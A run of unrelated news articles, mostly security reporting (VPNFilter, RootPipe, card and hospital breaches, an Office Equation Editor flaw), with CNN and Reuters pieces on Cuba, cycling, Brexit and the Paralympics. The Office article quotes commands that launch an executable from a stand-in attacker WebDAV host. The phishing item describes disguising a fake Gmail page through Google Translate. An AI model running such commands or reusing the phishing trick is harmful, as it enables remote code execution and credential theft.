The police declined to identify the malicious software, though the IP address from where the hack was originated was identical to one used in a 2013 cyberattack against banks and TV broadcasters in South Korea.
The South Korean police were then teamed up with companies and other government agencies to disable the malware and prevent the malicious code from further spreading, in what could lead to a massive cyber attack.
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Following the massive data breaches at eBay, Neiman Marcus Group and Michaels Stores, yet another private equity company Centerbridge Partners-backed restaurant chain P.F. Chang's China Bistro suffered a potential Credit and Debit card data breach.
The Asian-themed casual dining restaurant chain confirmed on Thursday their customers' Credit and Debit card information were stolen in the cyber attack on its restaurants, saying it is temporarily switching to a manual Credit and Debit card imprinting system for all of its P.F. Chang's China Bistro branded restaurants located in the United States, in order to process cards safety.
"At P.F. Chang's, the safety and security of our guests' payment information is a top priority," said Rick Federico, CEO of P.F. Chang's. "Therefore, we have moved to a manual credit card imprinting system for all P.F. Chang's China Bistro branded restaurants located in the continental United States. This ensures our guests can still use their credit and debit cards safely in our restaurants as our investigation continues."
P.F. Chang's released a statement saying that the restaurant chain was first alerted on Tuesday about the data breach by the United States Secret Service, which is investigating the matter along with a team of third-party forensics experts to understand the nature and scope of the incident.
"On Tuesday, June 10, P.F. Chang's learned of a security compromise that involves credit and debit card data reportedly stolen from some of our restaurants. Immediately, we initiated an investigation with the United States Secret Service and a team of third-party forensics experts to understand the nature and scope of the incident, and while the investigation is still ongoing, we have concluded that data has been compromised," reads the statement.
Till now, the company didn't know how many customers were affected in the data breach but it assured that company is working with the credit and debit card companies to identify those cards at risk.
The company also advised its customers to monitor their bank statements for any type of fraudulent activity. In addition, the company have also established a dedicated public website, pfchangs.com/security, for their customers to receive queries and answers it.
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It turns out that the threat of the massive VPNFilter botnet malware that was discovered late last month is beyond what we initially thought.
Security researchers from Cisco's Talos cyber intelligence have today uncovered more details about VPNFilter malware, an advanced piece of IoT botnet malware that infected more than 500,000 routers in at least 54 countries, allowing attackers to spy on users, as well as conduct destructive cyber operations.
Initially, it was believed that the malware targets routers and network-attached storage from Linksys, MikroTik, NETGEAR, and TP-Link, but a more in-depth analysis conducted by researchers reveals that the VPNFilter also hacks devices manufactured by ASUS, D-Link, Huawei, Ubiquiti, QNAP, UPVEL, and ZTE.
"First, we have determined that are being targeted by this actor, including some from vendors that are new to the target list. These new vendors are. New devices were also discovered from Linksys, MikroTik, Netgear, and TP-Lin," the researchers say.
To hijack devices manufactured by above listed affected vendors, the malware simply relies on publicly-known vulnerabilities or use default credentials, instead of exploiting zero-day vulnerabilities.
VPNFilter 'ssler' — Man-in-the-Middle Attack Module
Besides this, the researchers primarily shared technical details on a new stage 3 module, named "ssler," which is an advanced network packet sniffer that, if installed, allows hackers to intercept network traffic passing through an infected router and deliver malicious payloads using man-in-the-middle attacks.
"Ssler module provides data exfiltration and JavaScript injection capabilities by intercepting all traffic passing through the device destined for port 80," the researchers say.
This 3rd-stage module also makes the malware capable of maintaining a persistent presence on an infected device, even after a reboot.
The ssler module has been designed to deliver custom malicious payloads for specific devices connected to the infected network using a parameter list, which defines the module's behavior and which websites should be targeted.
These parameters include settings to define the location of a folder on the device where stolen data should be stored, the source and destination IP address for creating iptable rules, as well as the targeted URL of the JavaScript injection.
To setup packet sniffing for all outgoing web requests on port 80, the module configures the device's iptables immediately after its installation to redirect all network traffic destined for port 80 to its local service listening on port 8888.
"To ensure that these rules do not get removed, ssler deletes them and then adds them back approximately every four minutes," the researchers explain.
To target HTTPS requests, the ssler module also performs SSLStrip attack, i.e., it downgrades HTTPS connections to HTTP, forcing victim web browsers into communicating over plaintext HTTP.
VPNFilter 'dstr' — Device Destruction Module
As briefed in our previous article, VPNFilter also has a destructive capability (dstr module) that can be used to render an infected device unusable by deleting files necessary for normal device operation.
The malware triggers a killswitch for routers, where it first deliberately kills itself, before deleting the rest of the files on the system [named vpnfilter, security, and tor], possibly in an attempt to hide its presence during the forensic analysis.
This capability can be triggered on individual victim machines or en masse, potentially cutting off internet access for hundreds of thousands of victims worldwide.
Simply Rebooting Your Router is Not Enough
Despite the FBI seizure of a key command and control server right after the discovery of VPNFilter, the botnet still remains active, due to its versatile, multi-stage design.
Stage 1 of the malware can survive a reboot, gaining a persistent foothold on the infected device and enabling the deployment of stages 2 and 3 malware. So, each time an infected device is restarted, stages 2 and 3 are re-installed on the device.
This means, even after the FBI seized the key C&C server of VPNFilter, hundreds of thousands of devices already infected with the malware, likely remain infected with stage 1, which later installs stages 2 and 3.
Therefore, rebooting alone is not enough to completely remove the VPNFilter malware from infected devices, and owners of consumer-grade routers, switches, and network-attached storage devices need to take additional measures, which vary from model to model. For this, router owners are advised to contact their manufacturer.
For some devices, resetting routers to factory default could remove the potentially destructive malware, along with removing stage 1, while some devices can be cleaned up with a simple reboot, followed by updating the device firmware.
And as I said earlier, mark these words again: if your router cannot be updated, throw it away and buy a new one. Your security and privacy is more than worth a router's price.
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Sad but True! Your Apple's Mac computer is vulnerable to a serious privilege escalation flaw, dubbed "RootPipe," even if you are running the latest version of Mac OS X.
What's RootPipe?
Back in October 2014, a Swedish White Hat hacker Emil Kvarnhammar claimed to have discovered a critical privilege escalation vulnerability, he dubbed the backdoor as "RootPipe," in some versions of Mac OS X including the then newest version 10.10 Yosemite.
The vulnerability (CVE-2015-1130) could allow an attacker to take full control of your desktop Mac computer or MacBook laptop, even without any authentication.
Keeping in mind the devastating effect of the RootPipe vulnerability, the researcher privately reported the flaw to Apple and did not disclose the details of the flaw publicly until the company released a patch to fix it.
Apple did release an update but failed to patch RootPipe:
Earlier this month, Apple released the latest version of Mac OS X Yosemite, i.e. OS X Yosemite 10.10.3, and claimed to have fixed the so-called Rootpipe backdoor, which had been residing on Mac computers since 2011.
However, the company did not fix the flaw in the older versions (below 10.10) of the operating system due to uncodified Apple policy on patching, leaving tens of millions of Mac users at risk.
"Apple indicated that this issue required a substantial amount of changes on their side and that they would not backport the fix to 10.9.x and older," Kvarnhammar said in a blog post on the TrueSec website.
But here's the worse part:
Apple's RootPipe vulnerability patch for Mac OS X Yosemite 10.10.3 is claimed to be itself vulnerable, which again left all the Mac machines vulnerable to the RootPipe attacks.
Holy Crap!
Patrick Wardle, an ex-NSA staffer and current director of R&D at Synack, claimed to have discovered…
...a new way around Apple's security fix to reabuse the Rootpipe vulnerability, again opening path to the highest privilege level – root access.
Though this time, the attack requires a hacker to have gained local privileges, which could most likely be obtained via a working exploit of other software sitting on Mac machines.
Here's the Video Demonstration:
Wardle has demonstrated his hack attack in action in a video proof-of-concept (POC), which you can watch below:
Wardle has already reported his findings to the Apple's security team and would not disclose the details of his attack code public before the company will not issue a complete and unbreakable fix.
Now, let's just hope to get a tough fix for Rootpipe backdoor this time from Apple. Last time the company took nearly six months to release a patch that was fooled by Wardle sitting on a flight.
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Phishing Google Users with the Help of Google !
How Hackers are phishing Gmail/Google users successfully ? Christy Philip Mathew, an Information Security Instructor from India shared a perfect trick with us. He just exploit human psychology. Lets see how:
He Created a phishing Page of Google and Uploaded to : https://www.keepbacktrack.net84.net/ . Now How to make this URL legit for Victims ? Simple, Using Google translation Tool.
Google translation has got a vulnerability that if an attacker plan out translating a fake gmail login page he would get a perfectly crafted link that can be used for malicious purposes or Phishing. Above Shown Image the example of this Trick. New Phishing URL is Here after using Translation tool. This is Art of psychological manipulation using Google to Hack Google Users.
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You should be extra careful when opening files in MS Office.
When the world is still dealing with the threat of 'unpatched' Microsoft Office's built-in DDE feature, researchers have uncovered a serious issue with another Office component that could allow attackers to remotely install malware on targeted computers.
The vulnerability is a memory-corruption issue that resides in all versions of Microsoft Office released in the past 17 years, including Microsoft Office 365, and works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.
Discovered by the security researchers at Embedi, the vulnerability leads to remote code execution, allowing an unauthenticated, remote attacker to execute malicious code on a targeted system without requiring user interaction after opening a malicious document.
The vulnerability, identified as CVE-2017-11882, resides in EQNEDT32.EXE, an MS Office component which is responsible for insertion and editing of equations (OLE objects) in documents.
However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user.
Seventeen years ago, EQNEDT32.EXE was introduced in Microsoft Office 2000 and had been kept in all versions released after Microsoft Office 2007 in order to ensure the software remains compatible with documents of older versions.
DEMO: Exploitation Allows Full System Take Over
Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software.
This vulnerability could be exploited to take complete control over a system when combined with Windows Kernel privilege escalation exploits (like CVE-2017-11847).
Possible Attack Scenario:
While explaining the scope of the vulnerability, Embedi researchers suggested several attack scenarios listed below:
"By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet and execute it)."
"One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker."
"Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient."
"After that, an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service."
Protection Against Microsoft Office Vulnerability
With this month's Patch release, Microsoft has addressed this vulnerability by changing how the affected software handles objects in memory.
So, users are strongly recommended to apply November security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers.
Since this component has a number of security issues which can be easily exploited, disabling it could be the best way to ensure your system security.
Users can run the following command in the command prompt to disable registering of the component in Windows registry:
reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
For 32-bit Microsoft Office package in x64 OS, run the following command:
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
Besides this, users should also enable Protected View (Microsoft Office sandbox) to prevent active content execution (OLE/ActiveX/Macro).
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Another day, Another data breach!
This time-sensitive and personal data of hundreds of thousands of people at Boys Town National Research Hospital have been exposed in what appears to be the largest ever reported breach by a pediatric care provider or children's hospital.
According to the U.S. Department of Health and Human Services Office for Civil Rights, the breach incident affected 105,309 individuals, including patients and employees, at the Omaha-based medical organization.
In a "Notice of Data Security Incident" published on its website, the Boys Town National Research Hospital admitted that the organization became aware of an abnormal behavior regarding one of its employees' email account on May 23, 2018.
After launching a forensic investigation, the hospital found that an unknown hacker managed to infiltrate into the employee's email account and stole personal information stored within the email account as a result of unauthorized access.
The hacker accessed the personal and medical data of more than 100,000 patients and employees, including:
Name
Date of birth
Social Security number
Diagnosis or treatment information
Medicare or Medicaid identification number
Medical record number
Billing/claims information
Health insurance information
Disability code
Birth or marriage certificate information
Employer Identification Number
Driver's license number
Passport information
Banking or financial account number
Username and password
With this extensive information in hand, it's most likely that hackers are already selling personal information of victims on the dark web or attempting to carry out further harm to them, particularly child patients at the hospital.
However, The Boys Town National Research Hospital says it has not received any reports of the misuse of the stolen information so far.
"Boys Town takes this incident and the security of personal information seriously. Upon learning of this incident, Boys Town moved quickly to confirm whether personal information may have been affected by this incident, to identify the individuals related to this personal information, to put in place resources to assist them, and to provide them with notice of this incident," the hospital says.
The hospital has also reported the incident to law enforcement and is notifying state and federal regulators, along with potentially affected individuals. Boys Town has also promised to offer affected individuals access to 12 months of free identity protection services.
Boys Town hospital is also reviewing its existing policies and procedures and is implementing some additional security measures to safeguard its users' information stored in its systems.
However, victims are highly recommended to monitor their accounts for any fraudulent transaction and should consider placing a credit freeze request. Here's how you can freeze credit report to protect yourself against identity theft.
For additional information related to the incident, you can call 1-855-686-9425 (toll-free), Monday through Saturday from 8:00 a.m. to 8:00 p.m. CT.
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Washington (CNN)The Biden administration sanctioned a key Cuban official and a government special forces unit known as the Boinas Negras for human rights abuses in the wake of historic protests on the island.President Joe Biden said in a statement that Thursday's actions were "just the beginning--the United States will continue to sanction individuals responsible for oppression of the Cuban people.""I unequivocally condemn the mass detentions and sham trials that are unjustly sentencing to prison those who dared to speak out in an effort to intimidate and threaten the Cuban people into silence," he said."Today, my Administration is imposing new sanctions targeting elements of the Cuban regime responsible for this crackdown—the head of the Cuban military and the division of the Cuban Ministry of the Interior driving the crackdown—to hold them accountable for their actions."The sanctions mark the administration's first significant response to the protests on the island and come after Cuban-American groups and some members of Congress criticized the administration for not adopting a tough enough approach to the Cuban regime.Read MoreThe Treasury Department announced in a press release that it was designating Alvaro Lopez Miera, who leads Cuba's Ministry of the Revolutionary Armed Forces, as well as the National Special Brigade of the Ministry of the Interior -- known locally as the Boinas Negras or the "black berets" -- "in connection with the repression of peaceful, pro-democratic protests in Cuba that began on July 11.""The Cuban people are protesting for the fundamental and universal rights they deserve from their government," Treasury Secretary Janet Yellen said in a statement. "Treasury will continue to enforce its Cuba-related sanctions, including those imposed today, to support the people of Cuba in their quest for democracy and relief from the Cuban regime."The Boinas Negras are an elite Cuban special forces unit that the government has deployed to crack down on protesters following the widespread anti-government demonstrations on the communist island.How 'Patria y Vida' became the anthem of Cuban anti-government protestsLopez Miera and the unit were sanctioned under authorities of the Global Magnitsky Act -- which allows for sanctions against those involved in significant human rights abuses or corruption.Cuba's foreign minister Bruno Rodríguez Parrilla responded angrily to the announcement on Twitter."I reject the unfounded and slanderous accusations by the US government against General Alvaro Lopez Miera and the National Special Brigade. They should apply to themselves the Global Magnitsky Act for the daily acts of repression and police brutality which cost 1,022 lives in 2020," Parrilla wrote.On Friday, the Cuban Foreign Ministry's Director General of US Affairs Carlos Fernandez de Cossio told CNN that Lopez Miera "has no bank account, no assets in the US and nobody who knows him believes he has any plans to visit the US as a tourist. So the practical meaning of this sanction is puzzling for us."Biden Administration officials on Wednesday suggested that the sanctions were forthcoming.Biden also reiterated that the administration was "working with civil society organizations and the private sector to provide internet access to the Cuban people that circumvents the regime's censorship efforts.""We are reviewing our remittance policy to determine how we can maximize support to the Cuban people," he said, referencing an effort announced earlier this week to review a policy on remittances in the wake of the historic protests on the island.The President also said the administration is "committed to restaffing our embassy in Havana to provide consular services to Cubans and enhance our ability to engage with civil society, while ensuring the safety of U.S. diplomats serving in Cuba."The number of staff at the US diplomatic post was severely drawn down following after reports of "Havana Syndrome." Personnel in Cuba in late 2016 began experiencing unexplained symptoms, such as dizziness and pounding headaches, sometimes accompanied by an unidentified "piercing directional noise." Protests broke out across the island nation earlier this month as Cubans complained about a lack of food and medicine as the country undergoes a grave economic crisis aggravated by the Covid-19 pandemic and US sanctions. Activists say hundreds of demonstrators were detained during the days of unrest.This story has been updated with additional details and comments from the Cuban government.
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(Reuters)Britain's Lizzie Deignan rode to a landmark victory in the inaugural Paris Roubaix Femmes as rain, mud and crashes made it a memorable debut for the world's best female riders over the infamous cobbled course on Saturday.The former world champion produced a dominant ride over the 115.6km course and held off a powerful late surge by Dutch great Marianne Vos to win by one minute and 17 seconds."I feel incredibly proud," Deignan, who adds the maiden Paris Roubaix to her other notable triumphs including last year's Liege-Bastogne-Liege, said."Women's cycling is at this turning point, and today is part of history. It proves the appetite for women's cycling and that the riders can do one of the hardest races in the world.""Today I was the third rider (in the team) and I had to be in the front at the first cobbled section to protect my leaders. But then I saw there was a gap so I just kept going."Read MoreAfter three circuits around Denain, Trek Segafredo rider Deignan established a small lead over the pack just before the first of 17 cobbled sections with more than 80km remaining.With riders struggling to organize a concerted chase, many of them slithering over on the greasy cobbles, former world champion Deignan powered into a commanding lead.With 30km remaining the Trek-Segafredo rider held a lead of two minutes 30 seconds over a group including Vos (Jumbo Visma), team mate Audrey Cordon-Ragot and Germany's Lisa Brennauer (Ceratizit-WNT).Deignan, handling the bone-shaking "pave" cobblestones with aplomb, maintained her advantage as several fancied riders including European champion Ellen van Dijk crashed heavily.Deignan will receive 1,535 euros for winning the Paris Roubaix Femmes -- about 1/20th of what the winner of the men's race will take home. Vos finally put the hammer down to try and catch Deignan, slicing into the lead as she powered through the Carrefour de L'Arbre cobbled section.Vos closed the gap to 1:18 as Deignan began the final 10km, but Deignan proved unshakeable out front as the famed Roubaix velodrome finish approached.Deignan was so far ahead that the finale inside the Roubaix velodrome resembled a lap of honor as the Yorkshire rider wrote her name into the cycling history books.Vos finished more than a minute behind, with Deignan's team mate Elisa Longo Borghini in third place.Organizers ASO, who also own the Tour de France, added a women's version of the 125-year-old Paris Roubaix last year, but the COVID-19 pandemic meant they had to wait another year to ride the so-called Hell of the North.The debut for the Paris Roubaix Femmes race and for a women's Tour de France next year are seen as steps forward in the long battle for gender equality in professional cycling, although there remains a long way to go.While Sunday's men's race over a longer distance boasts a total prize pot of 91,000 euros, the women's race has only 7,505 euros with Deignan receiving 1,535 euros - about 1/20th of what the winner of the men's race will take home.
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London (CNN)US President-elect Joe Biden has cranked up the pressure on Boris Johnson to strike a post-Brexit trade deal with the European Union, as negotiations between the UK and Brussels enter what could be their final few days. Speaking with reporters in Delaware, Biden said he had talked to the UK Prime Minister, the Irish Taoiseach and the government of France among others and made clear his opposition to a guarded border between the Republic of Ireland, an EU member state, and Northern Ireland, which, as part of the UK, has left the EU.The President-elect said the "idea of having the border north and south once again being closed, it's just not right," adding that it's incumbent on every stakeholder to "keep the border open."No-deal Brexit would be worse for the UK economy than Covid-19, says Bank of England governorThe UK left the EU on January 31, and is currently in a transition period which expires on December 31, with or without a formal trade deal in place. The return of a hard border between the two has always been viewed as a potential consequence of no deal being reached between the UK and the EU, despite an agreement made last year when the first Brexit deal was struck to keep the border open. Read MoreJohnson's government exacerbated these concerns over the summer, when it introduced domestic legislation that, by the government's own admission, would breach the treaty Johnson had signed with the EU, breaking international law in a "very specific and limited way." JUST WATCHEDWhat could happen after EU launched legal action against UKReplayMore Videos ...MUST WATCHWhat could happen after EU launched legal action against UK 03:18The Internal Market Bill would allow the British government to effectively ignore parts of the Northern Ireland Protocol in order to keep trade between the four nations of the UK as seamless as possible. However, critics believe that in the event of a no-deal Brexit, this could create the need for customs checks between the Republic of Ireland and Northern Ireland. Their fear is that any infrastructure on that border would then be at risk of being vandalized or customs officers being attacked, leading to a need for a guarded border. This, many worry, would begin a dangerous slide back to the sectarian violence that claimed more than 3,500 lives over three decades. American politicians in both parties, most notably former Democratic President Bill Clinton, played a large part in negotiating the 1998 Good Friday Agreement, which bought an end to much of the violence. Biden has spoken publicly about the matter before, tweeting in September: "We can't allow the Good Friday Agreement that brought peace to Northern Ireland to become a casualty of Brexit. Any trade deal between the U.S. and U.K. must be contingent upon respect for the Agreement and preventing the return of a hard border. Period."UK announces military spending boost, AI and 'Space Command' initiatives Britons and Europeans who desperately want a deal struck in the next few days are hopeful that this will prove to be a sufficient carrot for Johnson to unlock the talks and avoid a crash-out. Agreeing to a trade deal with the US has always been held up by Brexiteers as a chief benefit of having left the EU. And it's no secret that Johnson is keen to build a good relationship with Biden. Time is running out though. The Brexit talks have been stuck on the same issues for months. With Johnson due to speak to the President of the EU Commission at some point this week, the hope among those who want a deal, is that Biden's words will nudge Johnson to finally make the necessary concessions.
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The fight to protect your company's data isn't for the faint of heart.
As an embattled IT warrior, with more systems, apps, and users to support than ever before, keeping everything up and running is a battle in itself.
When it comes to preventing the worst-case scenario from happening, you need all the help you can get, despite your super-hero status.
According to SANS, there are 6 key phases of an incident response plan.
Preparation - Preparing users and IT to handle potential incidents in case they happen
Identification - Figuring out what we mean by a "security incident" (which events can we ignore vs. which we must act on right now?)
Containment - Isolating affected systems to prevent further damage
Eradication - Finding and eliminating the root cause (removing affected systems from production)
Recovery - Permitting affected systems back into the production environment (and watching them closely)
Lessons Learned - Writing everything down and reviewing and analyzing with all team members so you can improve future incident response efforts
Here are three examples from the front lines of incident response that can help you at each phase as you build out your plan.
On Defining Success Incident Response Success
There are many levels of success in defensive work… the common wisdom is that the attacker only has to be right once, but the defender has to be right every time, but that's not always true.
Attacks are not all-or-nothing affairs - they happen over time, with multiple stages before final success.
To remain undetected against an attentive defender, it is the attacker who must make every move correctly; if an astute defender detects them even once, they have the possibility to locate and stop the whole attack.
You aren't going to immediately detect everything that happens during an attack - but as long as you detect (and correctly identify) enough of an attack to stop it in its tracks, that's success.
Don't Panic. Stay Focused.
Execution is key - the range of ways to attack a target can seem limitless - expecting to be an expert on all of them is pointlessly unrealistic.
The most important part of incident response is to handle every situation in a way that limits damage, and reduces recovery time and costs.
At the end of the day, that's how you'll be measured on a job well done… not that you've covered every angle of every potential vulnerability.
Start with Simple Steps. Attackers are Lazy.
Attackers have technical and economic imperatives to use the minimum amount of effort and resources to breach their targets - the more you remove the low-hanging fruit on your network, the more you raise the actual level of work an attacker has to expend to successfully infiltrate it.
AlienVault has recently created a 5 chapter eBook titled the Insider's Guide to Incident Response that goes further into fundamental strategies that can help you create an efficient and effective incident response plan.
The eBook covers:
Arming & Aiming Your Incident Response Team
Incident Response Process and Procedures
Types of Security Incidents
Incident Response Tools
Incident Response Training
You can download the entire eBook at AlienVault's website here.
Learn more about AlienVault USM:
Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)
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Story highlightsFlame lit to mark start of 2018 Winter ParalympicsNorth Korea sends first ever teamKoreas march separately at opening ceremony (CNN)The Winter Paralympics began amid a dazzling spectrum of color and music at Friday's opening ceremony as Pyeongchang welcomed its second international sporting extravaganza of 2018. And while South and North Korea didn't march together, the North does have its first ever team at the Paralympics. Follow @cnnsport
The pentagonal Olympic Stadium in Pyeongchang played host once again, celebrating the 567 athletes from 48 nations preparing to compete over the next nine days in South Korea.Despite the sub-zero temperatures, the athletes were afforded a warm welcome from the 35,000-seater arena with a spectacular performance that drew on South Korean culture via an eclectic mix of traditional buk drumming, 'K-pop' and the climactic lighting of the Paralympic cauldron. Here. We. GO!!! #Pyeongchang2018 starts now! #ParalympicsWatch live @ https://t.co/r6IZJOySMk pic.twitter.com/MpR7uFKguD— Paralympic Games (@Paralympics) March 9, 2018
The final ignition of the cauldron was carried out by South Korean wheelchair curling skip Seo Soon-seok, having taken the torch from one of the Olympics' famous 'Garlic Girls' -- Kim Eun-jung, the skip for last month's silver-medal-winning South Korean women's curling team. Read MoreMeanwhile, South Korean President Moon Jae-in was in attendance after global politics turned its head once more to the Korean peninsula with the announcement that a historic meeting will take place between North Korean leader Kim Jong Un and US President Donald Trump. North and South Korea march separatelyIn another development of the inter Korean diplomacy so prominently boosted by the Olympics last month, North Korea indeed will be participating at the Paralympics for the first time. The delegation from north of the border includes two sit-skiers -- Ma Yoo Chul and Kim Jeong Hyun -- who will compete in the para cross-country as wildcard entries, while four "observing" athletes have also been sent to attend certain events as spectators. In the Parade of Nations, the delegations from North and South Korea entered under separate flags, unlike the unprecedented unified march at the Olympic curtain-raiser last month. Historic moment as North Korea march at its first Paralympic Winter Games. #Paralympics pic.twitter.com/2Y5ufOYpjj— Craig Spence (@craigspence) March 9, 2018
The decision to march separately was made on Thursday following a lengthy meeting between the respective National Paralympic Committees (NPCs).According to reports, the North Korean delegation declined the possibility of a joint march after South Korea removed two small islands claimed by Japan from the unified flag, which depicts the Korean peninsula. "Although we are disappointed, we respect the decision of the two NPCs who decided that marching separately would be better for both parties," recently elected International Paralympic Committee (IPC) President Andrew Parsons said before the ceremony. It was agreed after "a day of amicable and positive discussions between the two NPCs in the Paralympic village," he added.Meanwhile, International Olympic Committee (IOC) spokesperson Mark Adams empathized with the trials and tribulations of such complex diplomatic negotiations, saying: "We understand the difficulties for the International Paralympic Committee."This is not an easy process as we know from our own experience. We were still negotiating right up until the very last moment. Four hours before we still did not have agreement for a joint march."Despite the separated marches, there was a moment of unity later in the ceremony as one of the North Korean skiers, Ma, carried the Paralympic torch alongside South Korean cross-country skier Choi Bogue.Beyond the Korean delegations, attention was also focused on the 30 Russian athletes competing as 'Neutral Paralympic Athletes', although their appearance passed without the drama of the Summer Paralympics in Rio, where a member of the Belarusian delegation was removed for waving a Russian flag in protest against the country's exclusion.Unlikely Paralympic stars shineAlongside North Korea, Georgia and Tajikistan are taking athletes to the Winter Paralympics for the first time, with the latter achieving the rare feat of fielding a team at the Paralympics having been absent from February's Olympics. Perhaps even more so than the Olympics, the Paralympics promotes the stories of some of the world's most remarkable individuals -- people who have often pushed themselves beyond anything seen before. READ: US Paralympian Mike Schultz hopes radical prosthetics empower othersAmong the flagbearers at the opening ceremony were many of those figures. Para snowboarder Mike Schultz led out Team USA -- the largest of any NPC at the Games -- having recovered from a life altering snowmobile crash in 2008, engineering prosthetics for himself and fellow competitors along the way. Meanwhile Mexico's sole competitor, Arly Aristides Velasquez Penaloza, carried his country's flag into the stadium with the weight of four years' recovery on his shoulders.The 29-year-old mono skier competed in Vancouver in 2010 but after a serious crash at Sochi 2014 had to undergo severe surgery resulting in a lengthy and tortuous return to Paralympic-levels of fitness. Mexico's sole competitor Arly Aristides Velasquez Penaloza carries his national flag into the arenaAlso defying the odds is Japan's ice sledge hockey goaltender Shinobu Fukushima, who makes an astonishing return to the Paralympics for the fourth time, now aged 61. The unlikely star only took up the sport in his 40s, having seen it at the Nagano Games in 1998. There might not have been a topless Tongan in sight at this opening ceremony, but the Games won't be lacking in stars.
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Story highlightsCOP21 climate talks to be held in Paris just weeks after deadly terror attacks shook the citySecurity concerns have led to the cancellation of planned protests, amid fears large gatherings could be targetedParis (CNN)"No, no, no, no, no, the COP21 will be held."That was the answer of French Foreign Minister Laurent Fabius when asked whether the U.N. Climate Conference known as COP21 would be moved or postponed after the terror attacks in Paris on November 13. It was an answer as predictable as the question was inevitable. To call off such a major gathering of world leaders in the French capital would have been an unthinkable surrender to terrorism. JUST WATCHEDWill French economy suffer in wake of Paris attacks?ReplayMore Videos ...MUST WATCHWill French economy suffer in wake of Paris attacks? 02:14But the security headaches involved in accommodating nearly 150 heads of government and an additional 40,000 visitors and delegates are daunting. And the summit is due to run for nearly two weeks -- even if many of the major players will likely be in Paris for barely 24 hours. France has dedicated 2,800 police and gendarmes to ensuring the security of the summit venue at Le Bourget, on the northern outskirts of Paris. A further 8,000 officers have been deployed to secure the country's borders. Altogether 120,000 police and gendarmes have been mobilized across France, according to the Interior Ministry.Read MoreThe government had announced at the beginning of the month that border controls would be imposed ahead of COP21 -- in what Interior Minister Bernard Cazeneuve then called a precaution against "a terrorist threat or risk to public order." Perhaps it's no coincidence that several members of the group involved in the Paris attacks crossed from Belgium into France just before those controls were reintroduced. Normally, French land borders are open because the country is a party to the Schengen Agreement on free movement within much of the European Union.In the wake of the attacks, and after the threat from the Islamic State in Iraq and Syria (ISIS) that they were the first in a "storm," French authorities are further reinforcing border checkpoints. Searches and arrests continue in an effort to break up suspected militant networks. Cazeneuve said Thursday that more than 300 people had been arrested since November 13, of whom some 200 remain in custody. JUST WATCHED Paris Climate Conference: COP21 ExplainedReplayMore Videos ...MUST WATCH Paris Climate Conference: COP21 Explained 02:09The greatest threat is not to the summit site at Le Bourget; it is fairly self-contained and divided into three main venues, with the public area separated from the main conference center, which is accessible only to accredited delegates and press. "Everything is being organized to maximize security at the conference itself, and its surroundings," Cazeneuve said.Terror groups tend not to target summits precisely because of the levels of security. But there are instances where they have staged attacks to coincide with such events -- most notably in London in July 2005, when four suicide bombers detonated explosives on the city's underground and bus network, just as the then-British Prime Minister Tony Blair hosted the G8 summit. 5 things to know about COP21This is one reason French authorities have banned public demonstrations planned to mark COP21. After the recent attacks, they announced they "had to reconsider the authorization of marches for the climate planned in Paris and other cities in France on November 29 and December 12. It was a difficult decision to make but in the present context, the safety requirements are the priority."All public rallies in Paris have been banned since the attacks, and providing security for a march of tens of thousands of people while keeping the summit itself safe would have been a logistical nightmare. There was also the risk of panic in the event of some sort of explosion; a firecracker set off a stampede in the Place de la Republique days after the recent attacks.The government has said that "all events taking place in closed spaces that can easily be made secure will be maintained."So the main casualty of the enhanced security will be the voices of dissent. Many groups had planned on using the platform of COP21 to draw attention to specific causes or to lobby for greater urgency in tackling climate change. One such group was cycling from western France to protest against plans for a new airport. Most environmental NGOs have accepted the ban and are looking to get their message out in different ways. JUST WATCHEDNations prepare for Paris Climate SummitReplayMore Videos ...MUST WATCHNations prepare for Paris Climate Summit 02:20"The security context can't be allowed to prevent all forms of public expression," said Alix Mazounie of Le Réseau Action Climat. Coalition Climat 21, an alliance of civil society groups that had been heavily involved in the Paris protests, pledged earlier this week to try to continue with public demonstrations within the city in close consultation with the police.It said in a statement on Wednesday that it would try to find an "alternative form of citizen mobilization." Can we avoid climate apocalypse?Some groups are thinking of ways to get round the ban with artistic performances in central Paris. Others are considering outright defiance -- but heavy fines may deter many people from challenging the ban. But some complain the ban targets groups which have criticized the summit agenda for being too tame. "We have the feeling that the demonstrations that have been authorised or denied have been filtered politically," said Jean-François Julliard, president of Greenpeace France.For ordinary Parisians, still in a state of shock after the attacks of Friday 13th, the summit may reinforce a sense of being under siege.Roads from the main airports will be closed to deal with the VIP influx, including the autoroutes A1 and A6 -- akin to closing two busy Interstates. Interior Minister Cazeneuve has urged Parisians not to use their cars on those days. Companies have been asked to postpone deliveries and allow employees to work from home.Paris Mayor Anne Hidalgo has announced free public transport from noon on Sunday until Monday night to help alleviate the gridlock. Some 70,000 additional seats will be available on the Paris metro and buses, at an estimated cost of $10 million.Bloomberg: U.S. climate 'crazies' are being forced to accept realityCNN's Sandrine Amiel contributed to this report.
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Taiwan Semiconductor Manufacturing Company (TSMC)—Apple's sole supplier of SoC components for iPhones and iPads, and Qualcomm's major manufacturing partner—shut down several of its chip-fabrication factories Friday night after being hit by a computer virus.
The world's largest makers of semiconductors and processors TSMC lost an entire day of production after several of its factories systems were halted by a computer virus in the middle of the ramp-up for chips to be used by Apple's future lines of iPhones.
Though the popular chip maker has been attacked by viruses in the past, this is the first time a virus has affected TSMC's production lines, making the incident a real big deal.
Without revealing many details, TSMC said a number of its computer systems and fabrication tools were infected by the virus on Friday night, but since then it has recovered 80% of its impacted equipment, though others will be recovered by tomorrow.
